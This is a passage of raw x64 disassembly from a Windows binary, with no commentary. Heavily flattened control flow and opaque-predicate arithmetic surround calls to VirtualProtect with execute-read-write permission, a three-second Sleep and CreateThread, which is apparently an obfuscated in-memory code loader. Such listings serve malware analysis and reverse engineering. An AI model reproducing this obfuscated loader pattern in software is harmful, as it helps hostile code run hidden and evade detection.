and ebx, 0x831048e4
or ebx, esi
or ecx, edi
and edi, 0x1caa3303
and edx, 0xe355ccfc
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6cc59519
and ecx, 0x933a6ae6
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xcd19042e
and edx, 0x32e6fbd1
or edx, ecx
xor edx, 0xcd19042e
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xdbb22e30
mov ebx, 0x60172318
cmovne ecx, ebx
test al, al
mov eax, 0xdbb22e30
jmp 0x1401a23e8
cmp eax, 0xaf2d9605
je 0x14019d422
cmp eax, 0xaf700eee
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, 0x8d421e79
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xf179406d
je 0x14019d437
cmp eax, 0xf17bb3a2
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc9f7dfed
and ebx, 0x36082012
or ebx, esi
or ecx, edi
and edi, 0xc9f7dfed
and edx, 0x36082012
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov r8d, ecx
not r8d
mov edx, ecx
or edx, 0xa280ff7
mov edi, edx
not edi
mov esi, ecx
xor esi, 0xf5d7f008
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0x55094217
and edi, 0xa0d6b008
or edi, ebx
or edx, eax
and eax, 0x55094217
and esi, 0xaaf6bde8
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0xca67184d
and edx, 0x3598e7b2
or edx, eax
xor edx, 0xc04f17bb
and r8d, 1
xor ecx, 0xfffffffe
or ecx, r8d
mov eax, ecx
not eax
and eax, 0x8b7498e3
and ecx, 0x748b671c
or ecx, eax
xor ecx, 0x748b671c
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
or ecx, 0xec1107d
mov ebx, ecx
not ebx
or eax, 0xf13eef82
mov edx, eax
not edx
and ecx, 0x5cb2f75b
and ebx, 0xa10c0880
or ebx, ecx
and eax, 0x5cb2f75b
and edx, 0x2410024
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0xec1107d
and edx, 0xf13eef82
or edx, eax
mov eax, edx
not eax
and eax, 0x92d1f52f
and edx, 0x6d2e0ad0
or edx, eax
mov eax, edx
xor eax, 0x4d200290
xor edx, 0x12104107
and edx, 0x321e4947
and eax, 0xcde1b6b8
or eax, edx
mov ecx, eax
xor ecx, 0x30124942
xor eax, 0x89c03288
and eax, 0x8bcc328d
and ecx, 0x7433cd72
or ecx, eax
xor ecx, 0x7433cd72
sete r11b
setne r10b
cmp r9d, 0xa
setl r8b
cmp r9d, 9
setg al
mov ebx, eax
xor bl, r8b
and bl, al
mov esi, r10d
xor sil, r11b
and sil, r10b
mov ecx, ebx
not cl
and cl, bl
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
mov edx, esi
xor dl, 1
or dl, cl
xor cl, 1
xor dl, 1
or cl, sil
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r8b, r10b
and r11b, al
or r11b, r8b
mov edx, eax
xor dl, r10b
or al, r10b
xor al, 1
or al, dl
xor al, 1
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
xor al, 1
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe7d49f73
mov ebx, 0x363dfa11
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xe7d49f73
jmp 0x1401a14db
cmp eax, 0x8d0214be
je 0x14019d554
cmp eax, 0x8d421e79
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x60840689
mov edi, ecx
and edi, 0x1d108800
or edi, edx
xor edi, 0x1d108800
mov edx, ecx
xor edx, 0x7d948e89
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x826b7177
and edx, 0x7d948e88
or edx, edi
and ebx, 0xbf248abf
and ecx, 0x40db7540
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40db7540
xor ecx, 0xbf248abf
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r10d
xor al, r9b
mov edx, eax
and dl, r10b
and al, r9b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r8b, r9b
and cl, r10b
or cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x2429e21a
mov edx, 0xaf700eee
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x2429e21a
jmp 0x1401a26bd
cmp eax, 0xc6d6ae9f
je 0x14019d57c
cmp eax, 0xc6fba8ba
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x430ed813
and ecx, 0xbcf127ec
or ecx, edx
mov edx, ecx
xor edx, 0x430ed813
xor ecx, 0xcf004cc
and ecx, 0xdf454cc
mov edi, edx
and edi, 0xf20bab33
or edi, ecx
mov ecx, edi
xor ecx, 0xf20bab33
mov ebx, edi
xor ebx, 0x68a46383
and ebx, ecx
and edx, 0x9aafc8b0
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x17331c71
and edx, 0xe8cce38e
or edx, ebx
xor edx, 0x8d9cd4c0
xor edi, 0x8000044
and edi, 0xd80b8966
mov ebx, ecx
and ebx, 0x27f47699
or ebx, edi
xor ebx, 0xd80b8967
and ecx, 1
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xb009097a
and edx, 0x4ff6f685
or edx, ecx
xor edx, 0x4ff6f685
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
and dl, r10b
xor al, 1
and al, cl
or al, dl
xor r10b, r8b
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
not dl
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0x5fa175fb
mov edx, 0xb483c4fc
cmovne ecx, edx
test bl, bl
mov ebx, 0x5fa175fb
cmove ecx, ebx
jmp 0x140196725
cmp eax, 0xa8449866
je 0x14019d591
cmp eax, 0xa8e3a925
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x32028962
mov edx, eax
and edx, 0x40286011
or edx, ecx
xor edx, 0x40286011
and eax, 0x8dd5168c
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8dd5168c
and eax, 0x722ae973
or eax, ecx
mov esi, eax
not esi
mov ebx, eax
or ebx, 0xc4a0d1d6
mov edi, ebx
not edi
mov ecx, esi
or ecx, 0x3b5f2e29
mov edx, ecx
not edx
and ebx, 0xf8a4980c
and edi, 0x35b2621
or edi, ebx
and ecx, 0xf8a4980c
and edx, 0x40041d2
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xc4a0d1d7
and edx, 0x3b5f2e28
or edx, ecx
and esi, 1
xor eax, 0xfffffffe
or eax, esi
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x310b609e
and edx, eax
not eax
and eax, 0x3000201a
and ecx, 0x10b4084
or ecx, eax
xor ecx, 0x10b4084
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xcef49f61
and edx, 0x310b609e
or edx, eax
setne dl
cmp dword [0x1402656c4], 0xa
setl bl
mov eax, ebx
xor al, dl
mov ecx, ebx
xor cl, al
not cl
and cl, al
or dl, bl
not al
and al, bl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov r8d, edx
and r8b, cl
mov ebx, ecx
xor bl, al
or al, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, r8b
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb585daa0
mov ebx, 0x7db6b18e
cmovne ecx, ebx
test al, 1
mov eax, 0xb585daa0
jmp 0x1401a14d6
cmp eax, 0xe8604449
je 0x14019d6bb
cmp eax, 0xe8659894
jne 0x14016c950
mov eax, 0x574a5a62
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9a5f5e84
je 0x14019d847
cmp eax, 0x9a76feaa
jne 0x14016c950
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rcx - 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xaabb0256
mov edi, eax
and edi, 0x5544fda9
or edi, ecx
mov ecx, edi
xor ecx, 0x41004000
xor edi, 0x22310042
mov edx, esi
or edx, 0x6337635a
mov ebx, edx
not ebx
or edi, 0x98488000
and edi, 0xba7da14a
and ecx, 0x41024210
or ecx, edi
and edx, 0xba7da14a
and ebx, 0x4801ca5
or ebx, edx
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x9cc89ca4
and ebx, 0x6337635b
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x1a62f811
and ebx, 0xe59d07ee
or ebx, ecx
mov ecx, ebx
xor ecx, 0x1910440
xor ebx, 0x1a62f811
mov edx, ebx
and edx, 0xec2e2bae
and ecx, 0x13d1d451
or ecx, edx
or ebx, eax
and eax, 0xec2e2bae
and esi, 0x13d1d451
or esi, eax
xor esi, ecx
not ebx
or ebx, esi
cmp ebx, 0xffffffff
setne cl
sete r11b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov ebx, r8d
xor bl, r9b
and bl, r8b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov edx, r11d
or dl, al
xor dl, 1
or r9b, r11b
xor r11b, al
xor r11b, 1
and r11b, al
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
xor r9b, 1
xor cl, r8b
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, r11d
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r11b
or dl, cl
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xe2ef79d0
mov ebx, 0x324ed19b
cmovne edx, ebx
test al, 1
mov eax, 0xe2ef79d0
jmp 0x14019c520
cmp eax, 0xd7b2de4f
je 0x14019d85c
cmp eax, 0xd7fead50
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xaabc5ebb
and edx, ebx
not ebx
and ebx, 0x2080541b
and ecx, 0x8a3c0aa0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8340a80
xor ecx, 0x75c3f55f
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb78a5075
and ebx, 0x8340e8a
or ebx, esi
or ecx, edi
and edi, 0xb78a5075
and edx, 0x4875af8a
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x12a592f5
and ecx, 0xed5a6d0a
or ecx, edx
mov edx, ecx
xor edx, 0x43a40200
mov ebx, ecx
xor ebx, 0xb819cc4e
mov edi, ebx
and edi, 0x8c4235b1
and edx, 0x73bdca4e
or edx, edi
mov edi, edx
not edi
and edi, 0xe83eba2
and edx, 0xf17c145d
or edx, edi
xor edx, 0x7d3e21ed
and ebx, 1
xor ecx, 0xb819cc4f
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x3530915d
and ebx, 0xcacf6ea2
or ebx, esi
or ecx, edi
and edi, 0x3530915d
and edx, 0xcacf6ea2
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa192627a
and edx, 0x5e6d9d85
or edx, ecx
mov ecx, edx
xor ecx, 0xa180425a
xor edx, 0x4a211081
and edx, 0x4a3330a1
and ecx, 0xb5cccf5e
or ecx, edx
xor ecx, 0xb5cccf5e
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
and dl, bl
mov eax, r8d
and al, cl
or al, dl
mov r9d, eax
xor r9b, bl
and r9b, al
xor bl, cl
not bl
and bl, cl
xor cl, r8b
and cl, r8b
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, r9b
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xceeba2dc
mov ebx, 0xd6a159f2
cmovne ecx, ebx
test al, 1
cmovne ecx, ebx
not dl
test dl, 1
mov eax, 0xceeba2dc
jmp 0x1401a26bd
cmp eax, 0xb532438c
je 0x14019d9a2
cmp eax, 0xb585daa0
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8640ca5c
mov edx, eax
and edx, 0x108400a1
or edx, ecx
xor edx, 0x108400a1
and eax, 0x693b3502
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x693b3502
and eax, 0x96c4cafd
or eax, ecx
mov edx, eax
xor edx, 1
and edx, eax
mov ecx, eax
not ecx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x6aa0b5e8
and edx, 0x955f4a17
or edx, edi
or ecx, ebx
and ebx, 0x6aa0b5e8
and eax, 0x955f4a17
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov ebx, edx
or ebx, 0x14f61535
mov eax, ebx
not eax
or ecx, 0x48098082
and ecx, 0x5cad9083
and edx, 0x520534
or edx, ecx
and ebx, 0x5cad9083
and eax, 0xa3006a48
or eax, ebx
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x6bb4fdb6
and eax, 0x944b0249
or eax, ecx
mov ecx, eax
xor ecx, 0xb41204
xor eax, 0x7702e881
and eax, 0xf70bedf9
and ecx, 0x8f41206
or ecx, eax
mov eax, ecx
xor eax, 0xa00202
xor ecx, 0x830ae990
and ecx, 0x8b5ef994
and eax, 0x74a1066b
or eax, ecx
mov ecx, eax
xor ecx, 0x4cc900
xor eax, 0x50a00601
and eax, 0xdbb23695
and ecx, 0x244dc96a
or ecx, eax
xor ecx, 0x244dc96a
sete al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
mov edx, eax
xor dl, 1
or cl, dl
mov ebx, ecx
not bl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x35feb813
mov edx, 0x337c1039
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, 1
mov eax, 0x35feb813
jmp 0x1401a26bd
cmp eax, 0xfb43891c
je 0x14019db26
cmp eax, 0xfbb318f1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0xfc6f77e2
and edx, ebx
not ebx
and ebx, 0xfc6f77e2
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x390881d
and edx, 0xfc6f77e2
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1e208925
mov ebx, edx
and ebx, 0xe1df76da
or ebx, ecx
mov ecx, ebx
xor ecx, 0xe1df76da
xor ebx, 0x2200120
mov edi, ecx
and edi, 0xb6fe2e93
and edx, 0x4901d16c
or edx, edi
mov edi, edx
not edi
and edi, 0x4901d16d
and edx, 0xb6fe2e92
or edx, edi
and ebx, 0x22a025b0
mov edi, ecx
and edi, 0xdd5fda4f
or edi, ebx
xor edi, 0x22a025b1
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x9b54392e
and ebx, 0x64abc6d1
or ebx, esi
or ecx, edi
and edi, 0x9b54392e
and edx, 0x64abc6d1
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb0bf2702
and ecx, 0x4f40d8fd
or ecx, edx
xor ecx, 0x4f40d8fd
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and r8b, al
and al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x762367b7
mov ebx, 0x3fedc720
cmovne ecx, ebx
test dl, dl
mov edx, 0x762367b7
jmp 0x14019affd
cmp eax, 0x8279f5d0
je 0x14019dc64
cmp eax, 0x82a65cce
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x2040a2
mov ebx, ecx
and ebx, 0x42128d04
or ebx, edx
xor ebx, 0x42128d04
and ecx, 0xbdcd3259
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9c80399e
and ecx, 0x637fc661
or ecx, edx
mov ebx, ecx
xor ebx, 0x214d0bc7
mov edx, ecx
xor edx, 0x214d0bc6
and edx, ebx
xor ecx, 0xdc926418
and ecx, 0xfcd66ed8
and ebx, 0x3299127
or ebx, ecx
mov edi, ebx
xor edi, 0x2080100
mov ecx, edx
not ecx
xor ebx, 0xfcd66ed9
mov esi, ecx
and esi, 0xe925b63f
and edx, 0x16da49c0
or edx, esi
or ecx, ebx
and ebx, 0xe925b63f
and edi, 0x16da49c0
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x3d15efcf
and ecx, 0xc2ea1030
or ecx, edx
mov edx, ecx
xor edx, 0x40021020
xor ecx, 0x3d00888c
and ecx, 0xbfe8889c
and edx, 0x40177763
or edx, ecx
mov ecx, edx
xor ecx, 0x84400890
xor edx, 0x40177763
mov ebx, edx
and ebx, 0x3ba8c64d
and ecx, 0xc45739b2
or ecx, ebx
xor ecx, 0xc45739b2
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
and al, cl
or al, dl
xor dl, 1
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xab814d3c
mov ebx, 0xa562c1b3
cmovne ecx, ebx
test al, 1
mov eax, 0xab814d3c
cmovne eax, ecx
test dl, 1
jmp 0x14019970b
cmp eax, 0xbcdf7083
je 0x14019dd27
cmp eax, 0xbd1e5013
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0x95c6dd0b
mov esi, edi
and esi, ecx
and edi, r9d
mov edx, esi
not edx
mov eax, edi
not eax
mov ebx, edx
and ebx, 0x5fd7ab0a
and esi, 0xa02854f5
or esi, ebx
or edx, eax
and eax, 0x5fd7ab0a
and edi, 0xa02854f5
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x95c6dd0a
and edx, 0x6a3922f5
or edx, eax
and r9d, 0x99001730
mov eax, ecx
and eax, 0x66ffe8cf
or eax, r9d
xor eax, 0x99001731
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x335c676d
and ecx, 0xcca39892
or ecx, eax
xor ecx, 0xcca39892
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc2ab77be
and edx, ecx
and ecx, 0x3d548841
or ecx, eax
mov eax, ecx
xor eax, 0x11100801
xor ecx, 0xc2ab77be
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2ecdd5de
and eax, 0xd1322a21
or eax, edi
or ecx, ebx
and ebx, 0x2ecdd5de
and edx, 0xd1322a21
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
setne dl
sete cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
xor cl, r8b
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, edx
or bl, al
xor bl, 1
xor dl, al
not dl
and dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
and r8b, cl
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xa9a5c8ef
mov eax, 0xa1c7b95b
cmovne ebx, eax
test cl, 1
mov eax, ebx
mov ecx, 0xa9a5c8ef
cmovne eax, ecx
jmp 0x14019e24c
cmp eax, 0x9ffddf5a
je 0x14019de00
cmp eax, 0xa0c94b87
jne 0x14016c950
mov eax, 0x1dd7024c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xdc11ba47
je 0x14019df63
cmp eax, 0xdce62be1
jne 0x14016c950
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov eax, 0x64b2d71e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x92221c56
je 0x14019e139
cmp eax, 0x925c2051
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x2f9c4c62
mov ebx, esi
and ebx, 0xd063b39c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x90008318
xor ebx, 0x2a984862
mov edi, esi
or edi, 0x6afb78e6
and ebx, 0x6afb78e6
and ecx, 0x95048718
or ecx, ebx
and edi, 0x6afb78e7
xor edi, ecx
mov ecx, edi
not ecx
and edx, ecx
and edi, esi
or edi, edx
xor ecx, edi
test ecx, edi
sete r8b
setne bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, eax
xor cl, bl
mov r9d, ecx
xor r9b, 1
and bl, dl
or dl, r8b
xor dl, 1
and al, r8b
or al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, r9b
and r9b, al
or r9b, bl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, r9b
test al, 1
mov eax, 0x671562a7
mov edx, 0x34d0dcfe
cmovne eax, edx
test r9b, r9b
cmove eax, edx
test cl, 1
mov ecx, 0x671562a7
jmp 0x1401a14db
cmp eax, 0xcd584b2c
je 0x14019e262
cmp eax, 0xcd84021c
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x3b0ea9be
mov edi, ecx
and edi, 0xc4f15640
or edi, ebx
xor edi, 0xc4f15640
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
and edx, 0xe6272842
and ecx, 0x19d8d7bd
or ecx, edx
mov edx, ecx
xor edx, 0x19d8d7bd
xor ecx, 0xe6272842
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, r10d
or bl, al
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, r10d
xor r10b, r8b
and r8b, cl
and dl, r9b
or dl, r8b
or cl, r9b
xor cl, 1
or cl, r10b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov r8d, edx
mov ebx, ecx
xor cl, dl
xor dl, 1
and r8b, al
and bl, dl
or bl, r8b
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xfa9f636a
mov ecx, 0xcfacf365
cmovne eax, ecx
test dl, 1
mov ecx, 0xfa9f636a
cmovne ecx, eax
test bl, 1
jmp 0x1401a26bd
cmp eax, 0xac0e0835
je 0x14019e415
cmp eax, 0xac6d3e87
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xf203fbd3
mov ebx, edi
xor ebx, 0xf203fbd3
and ebx, edi
mov esi, ecx
and esi, ebx
xor ebx, ecx
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x7543dad
and ebx, 0xf8abc252
or ebx, ecx
mov ecx, ebx
xor ecx, 0xaa83980
xor ebx, 0xf557c67f
and edx, ebx
and ecx, edi
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne r9b
sete dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl cl
mov eax, ecx
xor al, dl
and r9b, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
not al
and bl, dl
or bl, r9b
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x535a0691
mov eax, 0xbdfa3654
cmovne ebx, eax
test dl, dl
mov eax, ebx
mov edx, 0x535a0691
cmovne eax, edx
test cl, cl
jmp 0x14019e24f
cmp eax, 0xef913a1d
je 0x14019e609
cmp eax, 0xefbbee6f
jne 0x14016c950
mov eax, 0xc0b92ade
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
